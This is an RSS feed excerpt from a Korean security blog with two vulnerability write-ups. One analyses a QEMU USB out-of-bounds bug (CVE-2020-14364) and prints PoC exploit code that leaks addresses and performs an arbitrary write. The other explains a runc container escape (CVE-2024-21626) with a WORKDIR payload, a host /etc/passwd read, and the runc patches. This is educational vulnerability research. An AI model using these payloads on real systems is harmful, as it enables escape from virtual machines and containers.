            do_token_out(dev, p);
            break;
        default:
            p-&amp;gt;status = USB_RET_STALL;
        }
    } else {
        /* data pipe */
        usb_device_handle_data(dev, p);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;Control Transfer&lt;/code&gt;에서 &lt;code&gt;TOKEN SETUP&lt;/code&gt;을 받은 USB는 &lt;code&gt;do_token_setup&lt;/code&gt;을 통해 &lt;code&gt;SETUP&lt;/code&gt; 패킷을 처리하려합니다. 문제는 여기서 발생합니다.&lt;/p&gt;
&lt;p&gt;현재 USB Device 정보로 설정하고 있는 &lt;code&gt;setup_len&lt;/code&gt;이 에러 처리 로직전에 이미 설정되고 있으며, &lt;code&gt;setup_len&lt;/code&gt;이 USB Device의 &lt;code&gt;data_buf&lt;/code&gt; 크기보다 커져서
에러 처리 로직이 수행되어도 앞서 설정된 &lt;code&gt;setup_len&lt;/code&gt;을 초기화하거나 처리하는 로직이 존재하지 않습니다. 이를 통해 &lt;code&gt;OOB&lt;/code&gt;를 유도 할 수 있습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;static void do_token_setup(USBDevice *s, USBPacket *p)
{
	..
    s-&amp;gt;setup_len   = (s-&amp;gt;setup_buf[7] &amp;lt;&amp;lt; 8) | s-&amp;gt;setup_buf[6];
    if (s-&amp;gt;setup_len &amp;gt; sizeof(s-&amp;gt;data_buf)) {
        fprintf(stderr,
                &quot;usb_generic_handle_packet: ctrl buffer too small (%d &amp;gt; %zu)\n&quot;,
                s-&amp;gt;setup_len, sizeof(s-&amp;gt;data_buf));
        p-&amp;gt;status = USB_RET_STALL;
        return;
    }
	..
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;해당 부분에서의 잘못된 처리가 어떻게 &lt;code&gt;do_token_in&lt;/code&gt;과 &lt;code&gt;do_token_out&lt;/code&gt;에서 OOB를 유도하는지는 PoC 부분에서 알아봅시다.&lt;/p&gt;
&lt;h1&gt;PoC&lt;/h1&gt;
&lt;p&gt;분석을 진행한 PoC는 &amp;lt;a href=&quot;https://github.com/y-f00l/CVE-2020-14364&quot;&amp;gt;여기&amp;lt;/a&amp;gt;에서 확인할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;OOB Read&lt;/code&gt;에 해당하는 부분에 대해서 분석해보겠습니다. 이해가 안되는 부분이 있다면 앞서 작성한 &lt;code&gt;USB&lt;/code&gt;, &lt;code&gt;UHCI&lt;/code&gt;에 스펙에 관한 내용을 보시길 바랍니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void exp(void) {
    int i;
    init(); //alloc a big dma memory
    do_setup(); //init the s-&amp;gt;setup_len to 0xf0, in order to set the s-&amp;gt;state = SETUP_DATA
    do_set_lenth(USB_DIR_IN); //init the s-&amp;gt;setup_len to 0x7fe to oob read
    for(i = 0; i &amp;lt; 4; i++)
        do_read(0x7fe); //oob read
    base = *(uint64_t *)(data_buf + 7) - 0x73D513;
    heap_base = *(uint64_t *)(data_buf + 15) - 0xEB4240;
    system = base + 0x2ba600;
    uhci_state = heap_base + 0xDA48E0;
    data_buf_addr = heap_base + 0xEB43EC; 
    main_loop_tlg = base + 0x129e0c0;
    printk(KERN_INFO&quot;[+]the program base is: 0x%llx&quot;, base);
    printk(KERN_INFO&quot;[+]the heap    base is: 0x%llx&quot;, heap_base);
    printk(KERN_INFO&quot;[+]the uhci   state is: 0x%llx&quot;, uhci_state);
    printk(KERN_INFO&quot;[+]the system  base is: 0x%llx&quot;, system);
    printk(KERN_INFO&quot;[+]the buffer  addr is: 0x%llx&quot;, data_buf_addr);
//--------------------------------------------------------------------//
    arb_write(main_loop_tlg, data_buf_addr + 0xc00);
    pmio_write(0, 2);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;먼저 &lt;code&gt;do_setup&lt;/code&gt;에 대한 부분입니다. 주석에 나와있듯, &lt;code&gt;setup_len&lt;/code&gt;을 유효한 값으로 설정해줍니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;do_setup(); //init the s-&amp;gt;setup_len to 0xf0, in order to set the s-&amp;gt;state = SETUP_DATA
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;do_setup&lt;/code&gt;의 코드를 보면 알 수 있듯, &lt;code&gt;SETUP Transaction&lt;/code&gt;을 발생시킵니다. 여기서 길이를 &lt;code&gt;0xf0&lt;/code&gt;로 지정하고 &lt;code&gt;Setup&lt;/code&gt; 패킷의 &lt;code&gt;bmRequestType&lt;/code&gt;을 &lt;code&gt;USB_DIR_IN&lt;/code&gt;로 합니다.&lt;/p&gt;
&lt;p&gt;여기서 &lt;code&gt;USB_DIR_IN&lt;/code&gt;은 이후 오게될 &lt;code&gt;Data Transaction&lt;/code&gt;에서 전송할 데이터 길이를 의미합니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void do_setup(void) {
    set_td(0x7, USB_TOKEN_SETUP);
    set_length(0xf0, USB_DIR_IN);
    reset_uhci();
    enable_port();
    set_frame_base();
    pmio_write(0, 1);
    mdelay(100);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;해당 코드로 인해 USB의 &lt;code&gt;do_token_setup&lt;/code&gt;이 호출되고 처리됩니다.이 처리로 인해 &lt;code&gt;s-&amp;gt;setup_state&lt;/code&gt;는 &lt;code&gt;SETUP_STATE_DATA&lt;/code&gt; 값을 갖게됩니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;static void do_token_setup(USBDevice *s, USBPacket *p)
{
    ..
    if (s-&amp;gt;setup_buf[0] &amp;amp; USB_DIR_IN) {
        usb_device_handle_control(s, p, request, value, index,
                                  s-&amp;gt;setup_len, s-&amp;gt;data_buf);
        if (p-&amp;gt;status == USB_RET_ASYNC) {
            s-&amp;gt;setup_state = SETUP_STATE_SETUP;
        }
        if (p-&amp;gt;status != USB_RET_SUCCESS) {
            return;
        }

        if (p-&amp;gt;actual_length &amp;lt; s-&amp;gt;setup_len) {
            s-&amp;gt;setup_len = p-&amp;gt;actual_length;
        }
        s-&amp;gt;setup_state = SETUP_STATE_DATA;
    } 
	..
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;다음으로는 &lt;code&gt;SETUP Transaction&lt;/code&gt;을 발생시켜 &lt;code&gt;s-&amp;gt;setup_len&lt;/code&gt;을 설정합니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;do_set_lenth(USB_DIR_IN);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;do_set_length&lt;/code&gt;의 코드는 다음과 같습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void do_set_lenth(uint8_t option) {
    set_td(0x7, USB_TOKEN_SETUP);
    set_length(0xdead, option);
    reset_uhci();
    enable_port();
    set_frame_base();
    pmio_write(0, 1);
    mdelay(100);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;이때 &lt;code&gt;s-&amp;gt;setup_len&lt;/code&gt;은  &lt;code&gt;0xdead&lt;/code&gt;로 설정되고, &lt;code&gt;s-&amp;gt;setup_state&lt;/code&gt;는 별다른 처리없이 &lt;code&gt;SETUP_STATE_DATA&lt;/code&gt;로 남아 있습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;static void do_token_setup(USBDevice *s, USBPacket *p)
{
    int request, value, index;

    if (p-&amp;gt;iov.size != 8) {
        p-&amp;gt;status = USB_RET_STALL;
        return;
    }

    usb_packet_copy(p, s-&amp;gt;setup_buf, p-&amp;gt;iov.size);
    s-&amp;gt;setup_index = 0;
    p-&amp;gt;actual_length = 0;
    s-&amp;gt;setup_len   = (s-&amp;gt;setup_buf[7] &amp;lt;&amp;lt; 8) | s-&amp;gt;setup_buf[6];
    if (s-&amp;gt;setup_len &amp;gt; sizeof(s-&amp;gt;data_buf)) {
        fprintf(stderr,
                &quot;usb_generic_handle_packet: ctrl buffer too small (%d &amp;gt; %zu)\n&quot;,
                s-&amp;gt;setup_len, sizeof(s-&amp;gt;data_buf));
        p-&amp;gt;status = USB_RET_STALL;
        return;
    }
	...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;다시 &lt;code&gt;PoC&lt;/code&gt;를 보면 위에서 설정된 값을 통해 &lt;code&gt;OOB Read&lt;/code&gt;를 수행합니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for(i = 0; i &amp;lt; 4; i++)
	do_read(0x7fe); //oob read
base = *(uint64_t *)(data_buf + 7) - 0x73D513;
heap_base = *(uint64_t *)(data_buf + 15) - 0xEB4240;
system = base + 0x2ba600;
uhci_state = heap_base + 0xDA48E0;
data_buf_addr = heap_base + 0xEB43EC; 
main_loop_tlg = base + 0x129e0c0;
printk(KERN_INFO&quot;[+]the program base is: 0x%llx&quot;, base);
printk(KERN_INFO&quot;[+]the heap    base is: 0x%llx&quot;, heap_base);
printk(KERN_INFO&quot;[+]the uhci   state is: 0x%llx&quot;, uhci_state);
printk(KERN_INFO&quot;[+]the system  base is: 0x%llx&quot;, system);
printk(KERN_INFO&quot;[+]the buffer  addr is: 0x%llx&quot;, data_buf_addr);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;do_read&lt;/code&gt;를 봅시다. &lt;code&gt;DATA Transaction&lt;/code&gt;중 &lt;code&gt;TOKEN IN&lt;/code&gt;에 해당하는 &lt;code&gt;Transaction&lt;/code&gt;을 발생시키고 있습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void do_read(uint16_t len) {
    set_td(len, USB_TOKEN_IN);
    set_length(0xdead, USB_DIR_IN);
    reset_uhci();
    enable_port();
    set_frame_base();
    pmio_write(0, 1);
    mdelay(100);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;위 코드에 의해서 다음 &lt;code&gt;do_token_in&lt;/code&gt; 로직이 수행됩니다.
이때 len은 &lt;code&gt;s-&amp;gt;setup_len&lt;/code&gt;값을 활용하여 계산하게됩니다 이 값은 앞서 &lt;code&gt;0xdead&lt;/code&gt;로 설정해뒀습니다. 또한 &lt;code&gt;s-&amp;gt;setup_state&lt;/code&gt; 역시 앞선 과정에서 &lt;code&gt;SETUP_STATE_DATA&lt;/code&gt;로 만들어두었기 때문에 &lt;code&gt;OOB Read&lt;/code&gt;가 발생합니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;static void do_token_in(USBDevice *s, USBPacket *p)
{
..
    switch(s-&amp;gt;setup_state) {
..
    case SETUP_STATE_DATA:
        if (s-&amp;gt;setup_buf[0] &amp;amp; USB_DIR_IN) {
            int len = s-&amp;gt;setup_len - s-&amp;gt;setup_index;
            if (len &amp;gt; p-&amp;gt;iov.size) {
                len = p-&amp;gt;iov.size;
            }
            usb_packet_copy(p, s-&amp;gt;data_buf + s-&amp;gt;setup_index, len);
            s-&amp;gt;setup_index += len;
            if (s-&amp;gt;setup_index &amp;gt;= s-&amp;gt;setup_len) {
                s-&amp;gt;setup_state = SETUP_STATE_ACK;
            }
            return;
        }
..
}

..
void usb_packet_copy(USBPacket *p, void *ptr, size_t bytes)
{
    QEMUIOVector *iov = p-&amp;gt;combined ? &amp;amp;p-&amp;gt;combined-&amp;gt;iov : &amp;amp;p-&amp;gt;iov;

    assert(p-&amp;gt;actual_length &amp;gt;= 0);
    assert(p-&amp;gt;actual_length + bytes &amp;lt;= iov-&amp;gt;size);
    switch (p-&amp;gt;pid) {
    case USB_TOKEN_SETUP:
    case USB_TOKEN_OUT:
        iov_to_buf(iov-&amp;gt;iov, iov-&amp;gt;niov, p-&amp;gt;actual_length, ptr, bytes);
        break;
    case USB_TOKEN_IN:
        iov_from_buf(iov-&amp;gt;iov, iov-&amp;gt;niov, p-&amp;gt;actual_length, ptr, bytes);
        break;
    default:
        fprintf(stderr, &quot;%s: invalid pid: %x\n&quot;, __func__, p-&amp;gt;pid);
        abort();
    }
    p-&amp;gt;actual_length += bytes;
}
..
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;위 코드의 &lt;code&gt;s-&amp;gt;data_buf&lt;/code&gt;부터 전달된 바이트만큼 읽게됩니다. 간단하게 정리하면 다음과 같이 메타데이터를 조작하기 위한 &lt;code&gt;Setup Transaction&lt;/code&gt; 두번, 실제로 데이터를 읽기 위한 &lt;code&gt;Data Transaction&lt;/code&gt; 한번으로 경계를 넘어가 값을 읽을 수 있습니다.
&amp;lt;img src=&quot;/assets/img/CVE-2020-14364/oob_read_flow.png&quot;&amp;gt;&lt;/p&gt;
&lt;h1&gt;Patch&lt;/h1&gt;
&lt;p&gt;&lt;code&gt;QEMU&lt;/code&gt; &lt;code&gt;5.1.0&lt;/code&gt;(왼쪽)와 &lt;code&gt;5.2.0&lt;/code&gt;(오른쪽)을 디핑해보면 다음과 같은 함수들에서 패치가 이뤄졌음을 알 수 있습니다.&lt;/p&gt;
&lt;p&gt;hw/usb/core.c::do_token_setup
&amp;lt;img src=&quot;/assets/img/CVE-2020-14364/diff_do_token_setup.png&quot;/&amp;gt;&lt;/p&gt;
&lt;p&gt;hw/usb/core.c::do_parameter
&amp;lt;img src=&quot;/assets/img/CVE-2020-14364/diff_do_parameter.png&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;두 함수 모두 연산에 사용할 지역 변수 &lt;code&gt;setup_len&lt;/code&gt;을 만들고 이를 활용하여 연산을 진행하고나서, 해당 값에 문제가 없을때만 &lt;code&gt;s-&amp;gt;setup_len = setup_len&lt;/code&gt;을 통해 필드를 설정해주는 모습을 볼 수 있습니다.&lt;/p&gt;
&lt;h1&gt;References&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2020-14364&quot;&amp;gt;https://nvd.nist.gov/vuln/detail/CVE-2020-14364&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://n0va-scy.github.io/2022/02/14/cve-2020-14364%20qemu%E9%80%83%E9%80%B8%E6%BC%8F%E6%B4%9E/&quot;&amp;gt;https://n0va-scy.github.io/2022/02/14/cve-2020-14364%20qemu%E9%80%83%E9%80%B8%E6%BC%8F%E6%B4%9E/&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://conference.hitb.org/hitbsecconf2021ams/materials/D2T2%20-%20A%20Black%20Box%20Escape%20Of%20Qemu%20Based%20On%20The%20USB%20Device%20-%20L.%20Kong,%20Y.%20Zhang%20&amp;amp;%20H.%20Qu.pdf&quot;&amp;gt;https://conference.hitb.org/hitbsecconf2021ams/materials/D2T2%20-%20A%20Black%20Box%20Escape%20Of%20Qemu%20Based%20On%20The%20USB%20Device%20-%20L.%20Kong,%20Y.%20Zhang%20&amp;amp;%20H.%20Qu.pdf&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://www.youtube.com/watch?v=dHZSAiLKvSY&quot;&amp;gt;https://www.youtube.com/watch?v=dHZSAiLKvSY&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>CVE-2024-21626</title><link>https://aidenkim-com.github.io/posts/cve-2024-21626/</link><guid isPermaLink="true">https://aidenkim-com.github.io/posts/cve-2024-21626/</guid><description>Analysis of Docker Container Escape Vulnerability</description><pubDate>Wed, 08 Jan 2025 15:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Intro&lt;/h1&gt;
&lt;p&gt;TOOR 팀 활동을 하며 분석하게된 도커 컨테이너 탈출과 관련된 원데이 취약점에 관한 글입니다.
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/toor.png&quot;/&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;이번에 알아볼 취약점은 2024년 1월 31일에 공개된 도커 컨테이너의 Low-Level 컨테이너 런타임인 &lt;code&gt;runc&lt;/code&gt;와 관련된 취약점입니다.
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/CVE-2024-21626/container_runtimes.png&quot;&amp;gt;&amp;lt;a href=&quot;https://miro.medium.com/v2/resize:fit:828/format:webp/1&lt;em&gt;CZD4P0OpVML_vsO7RNRevA.png&quot;&amp;gt;https://miro.medium.com/v2/resize:fit:828/format:webp/1&lt;/em&gt;CZD4P0OpVML_vsO7RNRevA.png&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
도커 컨테이너의 런타임 중 Low-Level에 해당하는 &lt;code&gt;runc&lt;/code&gt;의  1.1.11 이전 버전에서 발생한 취약점으로, runc가 컨테이너를 생성하는 과정중 적절하게 처리하지 않아 노출된 파일 디스크립터로 인해 발생하는 취약점 입니다. 이로 인해 사용자는 호스트 운영체제의 파일 시스템에 접근할 수 있게되고 이를 이용해 도커 컨테이너에서 탈출하여 호스트에 접근까지 가능할 수 있습니다.&lt;/p&gt;
&lt;p&gt;본 글은 선행 연구를 진행하신 다른 연구원분들의 글들을 읽고 제 나름 분석을 진행하며 취약점을 공부하며 이해하고 정리해본 결과로 작성하게된 글입니다. 나름의 분석을 해봤지만 맞지 않는 부분이 있을 수 있으며, 만약 이를 발견하셨을 시 피드백해주시면 적극 반영하도록 하겠습니다. 취약점 및 PoC 분석에 많은 도움이된 자료는 다음과 같습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://nvd.nist.gov/vuln/detail/cve-2024-21626&quot;&amp;gt;https://nvd.nist.gov/vuln/detail/cve-2024-21626&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv&quot;&amp;gt;https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://nitroc.org/en/posts/cve-2024-21626-illustrated/&quot;&amp;gt;https://nitroc.org/en/posts/cve-2024-21626-illustrated/&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://www.vicarius.io/vsociety/posts/leaky-vessels-part-1-cve-2024-21626&quot;&amp;gt;https://www.vicarius.io/vsociety/posts/leaky-vessels-part-1-cve-2024-21626&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Vuln&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;CVE-ID : CVE-2024-21626&lt;/li&gt;
&lt;li&gt;CWE-: CWE-668(Exposure of Resource to Wrong Sphere), CWE-403(Exposure of File Descriptor to Unintended Control Sphere (&apos;File Descriptor Leak&apos;))&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;RCA&lt;/h1&gt;
&lt;p&gt;해당 취약점은 &lt;code&gt;runc&lt;/code&gt;에서 컨테이너를 생성하는 과정중 열린 &lt;code&gt;/sys/fs/cgroup&lt;/code&gt;을 적절하게 닫지 않고 컨테이너를 생성하는 행위 및 &lt;code&gt;Current Working Directory&lt;/code&gt;의 검증 미흡에 의해서 발생합니다. 이로인해 공격자는 생성된 컨테이너 내에서 &lt;code&gt;/proc/self/fd/&amp;lt;파일디스크립터&amp;gt;&lt;/code&gt;의 형태로 호스트 운영체제의 파일 시스템에 접근할 수 있게됩니다.
취약점으로 인해 호스트 파일 시스템의 &lt;code&gt;/sys/fs/cgroup&lt;/code&gt;이 &lt;code&gt;/proc/self/fd/7&lt;/code&gt;에 매핑될 경우(이외에도 내부 메커니즘에 의해서 할당되는 파일 디스크립터 패턴이 존재합니다. 즉, 반드시 7에 매핑되어야만 하는것은 아닙니다.) 도커파일의 지시어인 &lt;code&gt;WORKDIR&lt;/code&gt;를 다음과 같이 설정하게되면 컨테이너내에서 호스트의 파일 시스템에 접근이 가능합니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;WORKDIR /proc/self/fd/7
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;위와 같은 명령어로 호스트 파일 시스템 네임스페이스 내에서 현재 작업 디렉터리를 갖게됩니다. 즉, 공격자는 컨테이너 외부의 호스트 운영체제의 자원이 보이는 상황입니다.&lt;/p&gt;
&lt;p&gt;만약 컨테이너내의 사용자의 UID가 0일 경우 이렇게 탈출된 파일 시스템에서 ssh키를 추가하는 형태나 파일을 조작 및 삽입하는 형태의 공격을 시도할 수 있습니다.&lt;/p&gt;
&lt;p&gt;공격자는 다음과 같은 페이로드로 호스트 내부의 파일에 접근할 수 있게됩니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat /proc/1/cwd/../../../../../../../../../../../../../etc/passwd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;이 취약점은 도커 명령어로 컨테이너 내에서 다른 컨테이너를 생성할 수 있을 경우에도 비슷하게 악용할 수 있습니다.(공격 원리는 같습니다.) &lt;code&gt;/proc/self/fd/7&lt;/code&gt;와 같이 닫히지 않은 호스트 파일 디스크립터를 심볼릭 링크를 통해 컨테이너내의 디렉터리와 매핑시켜준 후, 또 다른 컨테이너를 실행시킬때 &lt;code&gt;-w&lt;/code&gt;(cwd 지정)을 통해 이를 매핑시켜 호스트의 파일 시스템에 접근할 수 있습니다.&lt;/p&gt;
&lt;h1&gt;Patch&lt;/h1&gt;
&lt;p&gt;다음과 같이 4개의 부분이 추가되었습니다.&lt;/p&gt;
&lt;h2&gt;작업 디렉터리 검증(&amp;lt;a href=&quot;https://github.com/opencontainers/runc/commit/8e1cd2f56d518f8d6292b8bb39f0d0932e4b6c2a&quot;&amp;gt;8e1cd2f&amp;lt;/a&amp;gt;)&lt;/h2&gt;
&lt;p&gt;취약점의 악용은 &lt;code&gt;Current Working Directory&lt;/code&gt; 변경을 통해 진행됩니다. 이를 방지하는 &lt;code&gt;cwd&lt;/code&gt;를 검증하는 코드가 추가되었습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// verifyCwd ensures that the current directory is actually inside the mount
// namespace root of the current process.
func verifyCwd() error {
 	// getcwd(2) on Linux detects if cwd is outside of the rootfs of the
	// current mount namespace root, and in that case prefixes &quot;(unreachable)&quot;
	// to the returned string. glibc&apos;s getcwd(3) and Go&apos;s Getwd() both detect
	// when this happens and return ENOENT rather than returning a non-absolute
	// path. In both cases we can therefore easily detect if we have an invalid
	// cwd by checking the return value of getcwd(3). See getcwd(3) for more
	// details, and CVE-2024-21626 for the security issue that motivated this
	// check.
	//
	// We have to use unix.Getwd() here because os.Getwd() has a workaround for
	// $PWD which involves doing stat(.), which can fail if the current
	// directory is inaccessible to the container process.
	if wd, err := unix.Getwd(); errors.Is(err, unix.ENOENT) {
		return errors.New(&quot;current working directory is outside of container mount namespace root -- possible container breakout detected&quot;)
	} else if err != nil {
		return fmt.Errorf(&quot;failed to verify if current working directory is safe: %w&quot;, err)
	} else if !filepath.IsAbs(wd) {
		// We shouldn&apos;t ever hit this, but check just in case.
		return fmt.Errorf(&quot;current working directory is not absolute -- possible container breakout detected: cwd is %q&quot;, wd)
	}
	return nil
}
...
	// Make sure our final working directory is inside the container.
	if err := verifyCwd(); err != nil {
		return err
	}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;컨테이너 생성(execve)전 열린 파일 디스크립터 닫기 작업(&amp;lt;a href=&quot;https://github.com/opencontainers/runc/commit/f2f16213e174fb63e931fe0546bbbad1d9bbed6f&quot;&amp;gt;f2f1621&amp;lt;/a&amp;gt;)&lt;/h2&gt;
&lt;p&gt;취약점은 컨테이너 생성 이전에 열린 파일 디스크립터로 인해 발생합니다. 이와 같은 문제를 방지하기 위해 컨테이너를 생성하기 전에
열린 파일 디스크립터를 닫는 작업을 하는 코드가 추가되었습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// CloseExecFrom sets the O_CLOEXEC flag on all file descriptors greater or
// equal to minFd in the current process.
func CloseExecFrom(minFd int) error {
	// Use close_range(CLOSE_RANGE_CLOEXEC) if possible.
	if haveCloseRangeCloexec() {
		err := unix.CloseRange(uint(minFd), math.MaxUint, unix.CLOSE_RANGE_CLOEXEC)
		return os.NewSyscallError(&quot;close_range&quot;, err)
	}
	// Otherwise, fall back to the standard loop.
	return fdRangeFrom(minFd, unix.CloseOnExec)
}
//go:linkname runtime_IsPollDescriptor internal/poll.IsPollDescriptor
// In order to make sure we do not close the internal epoll descriptors the Go
// runtime uses, we need to ensure that we skip descriptors that match
// &quot;internal/poll&quot;.IsPollDescriptor. Yes, this is a Go runtime internal thing,
// unfortunately there&apos;s no other way to be sure we&apos;re only keeping the file
// descriptors the Go runtime needs. Hopefully nothing blows up doing this...
func runtime_IsPollDescriptor(fd uintptr) bool //nolint:revive
// UnsafeCloseFrom closes all file descriptors greater or equal to minFd in the
// current process, except for those critical to Go&apos;s runtime (such as the
// netpoll management descriptors).
//
// NOTE: That this function is incredibly dangerous to use in most Go code, as
// closing file descriptors from underneath *os.File handles can lead to very
// bad behaviour (the closed file descriptor can be re-used and then any
// *os.File operations would apply to the wrong file). This function is only
// intended to be called from the last stage of runc init.
func UnsafeCloseFrom(minFd int) error {
	// We cannot use close_range(2) even if it is available, because we must
	// not close some file descriptors.
	return fdRangeFrom(minFd, func(fd int) {
		if runtime_IsPollDescriptor(uintptr(fd)) {
			// These are the Go runtimes internal netpoll file descriptors.
			// These file descriptors are operated on deep in the Go scheduler,
			// and closing those files from underneath Go can result in panics.
			// There is no issue with keeping them because they are not
			// executable and are not useful to an attacker anyway. Also we
			// don&apos;t have any choice.
			return
		}
		if logs.IsLogrusFd(uintptr(fd)) {
			// Do not close the logrus output fd. We cannot exec a pipe, and
			// the contents are quite limited (very little attacker control,
			// JSON-encoded) making shellcode attacks unlikely.
			return
		}
		// There&apos;s nothing we can do about errors from close(2), and the
		// only likely error to be seen is EBADF which indicates the fd was
		// already closed (in which case, we got what we wanted).
		_ = unix.Close(fd)
	})
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;code&gt;/sys/fs/cgroup&lt;/code&gt; 핸들 누수 방지(&amp;lt;a href=&quot;https://github.com/opencontainers/runc/commit/89c93ddf289437d5c8558b37047c54af6a0edb48&quot;&amp;gt;89c93dd&amp;lt;/a&amp;gt;)&lt;/h2&gt;
&lt;p&gt;cgroupRootHandle을 추가하고 설정 중 오류가 발생하여 범위 밖으로 빠져나오는 경우 에러를 발생시켜 가비지 컬렉터에 의한 자동 처리가 이루어지도록 수정되었습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;+	cgroupRootHandle *os.File
...

	if err != nil {
		err = &amp;amp;os.PathError{Op: &quot;openat2&quot;, Path: path, Err: err}
-		// Check if cgroupFd is still opened to cgroupfsDir
+		// Check if cgroupRootHandle is still opened to cgroupfsDir
		// (happens when this package is incorrectly used
		// across the chroot/pivot_root/mntns boundary, or
		// when /sys/fs/cgroup is remounted).
		//
		// TODO: if such usage will ever be common, amend this
-		// to reopen cgroupFd and retry openat2.
-		fdPath, closer := utils.ProcThreadSelf(&quot;fd/&quot; + strconv.Itoa(cgroupFd))
+		// to reopen cgroupRootHandle and retry openat2.
+		fdPath, closer := utils.ProcThreadSelf(&quot;fd/&quot; + strconv.Itoa(int(cgroupRootHandle.Fd())))
		defer closer()
		fdDest, _ := os.Readlink(fdPath)
		if fdDest != cgroupfsDir {
-			// Wrap the error so it is clear that cgroupFd
+			// Wrap the error so it is clear that cgroupRootHandle
			// is opened to an unexpected/wrong directory.
-			err = fmt.Errorf(&quot;cgroupFd %d unexpectedly opened to %s != %s: %w&quot;,
-				cgroupFd, fdDest, cgroupfsDir, err)
+			err = fmt.Errorf(&quot;cgroupRootHandle %d unexpectedly opened to %s != %s: %w&quot;,
+				cgroupRootHandle.Fd(), fdDest, cgroupfsDir, err)
		}
		return nil, err
	}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;code&gt;runc init&lt;/code&gt; 실행 전 모든 비표준 입/출력 파일 디스크립터 &lt;code&gt;O_CLOEXEC&lt;/code&gt; 플래그 설정(&amp;lt;a href=&quot;https://github.com/opencontainers/runc/commit/ee73091a8d28692fa4868bac81aa40a0b05f9780&quot;&amp;gt;ee73091&amp;lt;/a&amp;gt;)&lt;/h2&gt;
&lt;p&gt;파일 디스크립터 유출을 방지하기위해 &lt;code&gt;runc init&lt;/code&gt; 이전에 열린 파일 비표준 파일 디스크립터에 대해서 &lt;code&gt;O_CLOEXEC&lt;/code&gt; 플래그를 설정합니다.&lt;/p&gt;
&lt;p&gt;해당 플래그는 파일을 열고나서 &lt;code&gt;fork&lt;/code&gt;나 &lt;code&gt;exec&lt;/code&gt; 계열의 시스템 콜 함수 호출시 자동으로 파일을 닫도록합니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;	// Before starting &quot;runc init&quot;, mark all non-stdio open files as O_CLOEXEC
	// to make sure we don&apos;t leak any files into &quot;runc init&quot;. Any files to be
	// passed to &quot;runc init&quot; through ExtraFiles will get dup2&apos;d by the Go
	// runtime and thus their O_CLOEXEC flag will be cleared. This is some
	// additional protection against attacks like CVE-2024-21626, by making
	// sure we never leak files to &quot;runc init&quot; we didn&apos;t intend to.
	if err := utils.CloseExecFrom(3); err != nil {
		return fmt.Errorf(&quot;unable to mark non-stdio fds as cloexec: %w&quot;, err)
	}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Mitigation&lt;/h1&gt;
&lt;p&gt;해당 취약점에 대한 보안 업데이트를 통해 취약점을 완화시킬 수 있습니다.&lt;/p&gt;
&lt;h1&gt;References&lt;/h1&gt;
&lt;ul&gt;
